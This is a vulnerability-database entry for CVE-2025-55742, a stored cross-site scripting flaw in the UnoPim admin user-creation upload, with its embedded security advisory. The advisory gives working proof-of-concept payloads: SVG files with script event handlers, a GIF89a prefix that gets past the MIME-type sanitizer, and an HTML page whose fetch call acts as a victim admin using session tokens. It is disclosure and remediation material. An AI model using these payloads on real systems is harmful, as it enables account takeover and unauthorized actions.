CVE-2025-55742
mediumpriority · track · 19EPSS 0.004 · 32 %ileEUUSEPSS · scored 2026-10-27
UnoPim is an open-source Product Information Management (PIM) system built on the Laravel framework. Before 0.2.1, UnoPim contains a stored cross-site scripting vulnerability via SVG MIME/sanitizer bypass in the /admin/settings/users/create endpoint. This vulnerability is fixed in 0.2.1.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 4.4–8
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (3)
Products and version ranges known to be affected.
advisories (1)
Vendor and ecosystem advisories describing this.
- GHSA-xr97-25v7-hc2qUnoPim has Stored Cross-site Scripting vulnerability in user creation functionality2025-08-21ghsa · osvUS
### Summary Affected Functionality: User creation Endpoint: `/admin/settings/users/create` ### Details https://github.com/unopim/unopim/blob/a0dc81947a59ada69e19e1e4313dd591d4e277b4/packages/Webkul/Core/src/Traits/Sanitizer.php#L9-L19 See the mimetype is checked for validation. Mime-type is usually identified by analysing the first few bytes of the file content, which contains the File signature or Magic bytes for e.g. GIF file starts with GIF87a or GIF89a. We can mislead the sanitizer to think the uploaded file is gif ( based on magic byte provided ) while actually it is a .svg file. File containing <svg> is considered as svg and is sanitized:  ``` Content-Disposition: form-data; name="image[]"; filename="poc.html" Content-Type: image/svg+xml <?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200" onload="alert(5)"> <rect width="200" height="200" fill="#3498db" onmouseover="alert('Hover')"></rect> <text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text> </svg> ```  Sanitization bypass using MIME type manipulation:  ``` Content-Disposition: form-data; name="image[]"; filename="poc.html" Content-Type: image/svg+xml GIF89a <?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200" onload="alert(5)"> <rect width="200" height="200" fill="#3498db" onmouseover="alert('Hover')"></rect> <text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text> </svg> ```  ### PoC Upload `POC.html` as image. File content: ``` GIF89a <?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200" onload="alert(document.cookie)"> <rect width="200" height="200" fill="#3498db" onmouseover="alert(document.domain)"></rect> <text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text> </svg> ``` I changed extension to .html because even though POC.svg successfully bypassed the sanitization. When accessing the URL, the page didn't render as it should starts with <.   Since html doesn't have any such limitation we can access it. Access the image URL to see the XSS popup.  ### Impact Suppose another admin visits the image link, the attacker can perform any operation as the victim. The session cookie is marked as http-only that disallow fetching cookies using javascript which is good thing. ( this prevent exfiltrating the cookie but still an attacker can perform any action behalf of the victim ) ##### Example > create a product behalf of victim. John doe (default admin ) creates another admin ( victimadmin@test.com ) When the victim-admin logs in and access the endpoint containing stored XSS, the script runs on behalf of victm-admin and the product is created.   // info shows that victim-admin created the product. Since this image can be accessed by other admins, it can be performed behalf on any admin. It'll be recorded as done by whoever visited the link. Please see the detailed POC video for more details: https://drive.proton.me/urls/KCKTSWHA3C#W2Zus8hWucj2 Extended POC for performing the action shown in video: POC.html: ``` <html> <script> const url = 'http://localhost:8000/admin/catalog/products/create'; // Create a FormData object to hold the form data const formData = new FormData(); formData.append('type', 'simple'); formData.append('attribute_family_id', '1'); formData.append('sku', 'Created-by-ADMIN-VICTIM888'); // Define the headers const headers = { 'X-XSRF-TOKEN': 'eyJpdiI6IkdyS2tOVGlXQWJYeXFnMEF5bjZ3S3c9PSIsInZhbHVlIjoibWhVOElsOFZtVUdqazVZS0d3S3RHNndRNGxSU0pSM0dpK3E4YmZrYXdOU0lBZ0dBK1BBZ1Jqc3VlQU5taUVGb1BtaVBOcFRrWllMS0xkVVJKWG1SMGtJeWtOU2JpTFFwVWNmMG1ZeC9TZ3RMZjR0ajkrSUZCTDlTNGsrOEtQbi8iLCJtYWMiOiJjODBmZTk3OTFhNzc2ZTQzNDhkMzNiNmU4ODk3ZTY5MGJiOTdmZTNhYmJkNzhhZDk3ZjgxOGE4ZGFlNDFmN2EzIiwidGFnIjoiIn0=', 'X-Requested-With': 'XMLHttpRequest', 'Accept': 'application/json, text/plain, */*', 'Origin': 'http://localhost:8000', 'Referer': 'http://localhost:8000/admin/catalog/products', 'Cookie': 'XSRF-TOKEN=eyJpdiI6IkdyS2tOVGlXQWJYeXFnMEF5bjZ3S3c9PSIsInZhbHVlIjoibWhVOElsOFZtVUdqazVZS0d3S3RHNndRNGxSU0pSM0dpK3E4YmZrYXdOU0lBZ0dBK1BBZ1Jqc3VlQU5taUVGb1BtaVBOcFRrWllMS0xkVVJKWG1SMGtJeWtOU2JpTFFwVWNmMG1ZeC9TZ3RMZjR0ajkrSUZCTDlTNGsrOEtQbi8iLCJtYWMiOiJjODBmZTk3OTFhNzc2ZTQzNDhkMzNiNmU4ODk3ZTY5MGJiOTdmZTNhYmJkNzhhZDk3ZjgxOGE4ZGFlNDFmN2EzIiwidGFnIjoiIn0%3D; unopim_session=eyJpdiI6Ii9MTnNiMEJhNnZGZWVGaGQvbWdkUkE9PSIsInZhbHVlIjoiczJnZmczekRrTHMzN1phc1lmM1I0K1BkRGhRK3llOCtLcnpXODUwQnNrMWJUK29ab2Z0TDdYOUJaa3hxSGFsRzRpK1o0bGFTcTJ1N3J4QkhaYmxNRGdNNnpLUDFnYXl3QzdLNDJCQWRqbExnZ1dURGlyZW5UTWdycWlLQkFRc0oiLCJtYWMiOiJiNjNiZmM0ZjUxMTNlOTZmZGFiNzcxYzRkZDAwYTE3MGM5OTcxNWUyYTYzYjQ4ZGY5ZDkzYTdiZDJlNjUyNWQwIiwidGFnIjoiIn0%3D' }; // Send the POST request fetch(url, { method: 'POST', headers: headers, body: formData, credentials: 'include' // Include cookies in the request }) .then(response => { if (!response.ok) { throw new Error('Network response was not ok ' + response.statusText); } return response.json(); // Assuming the response is JSON }) .then(data => { console.log('Success:', data); }) .catch(error => { console.error('Error:', error); }); </script> <html> ``` // make sure to update the cookies and CSRF tokens in the script to the attacker's. Recommendation: Check file extension: whitelist allowed extensions. Check mime type matches with file extension ( in this case GIF89 ( mime type GIF ) and extension: svg. They are not matching so reject it. Check file extension ( endswith .svg ) and if it is svg then perform the sanitization that is in place. Affected Version: 0.1.6 
also known as (3)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (14)
External citations — patches, advisories, analysis.
- https://github.com/unopim/unopim/commit/49d5f6ac4d5d9ef7d9cdfe01853234d531c55f75cnnvd
- https://github.com/unopim/unopim/commit/b596021b5a5e0656abe16c01ae0e84c95f9fe902cnnvd
- https://github.com/unopim/unopim/commit/b5e169e65725e0d80b6c79d57e62a25e1af6a3c3cnnvd
- https://github.com/unopim/unopim/security/advisories/GHSA-xr97-25v7-hc2qcnnvd
- https://nvd.nist.gov/vuln/detail/CVE-2025-55742cnnvd
- https://unopim.com/download/Patchcnnvd
- https://github.com/unopim/unopim/commit/49d5f6ac4d5d9ef7d9cdfe01853234d531c55f75enisa_euvd
- https://github.com/unopim/unopim/commit/b596021b5a5e0656abe16c01ae0e84c95f9fe902enisa_euvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan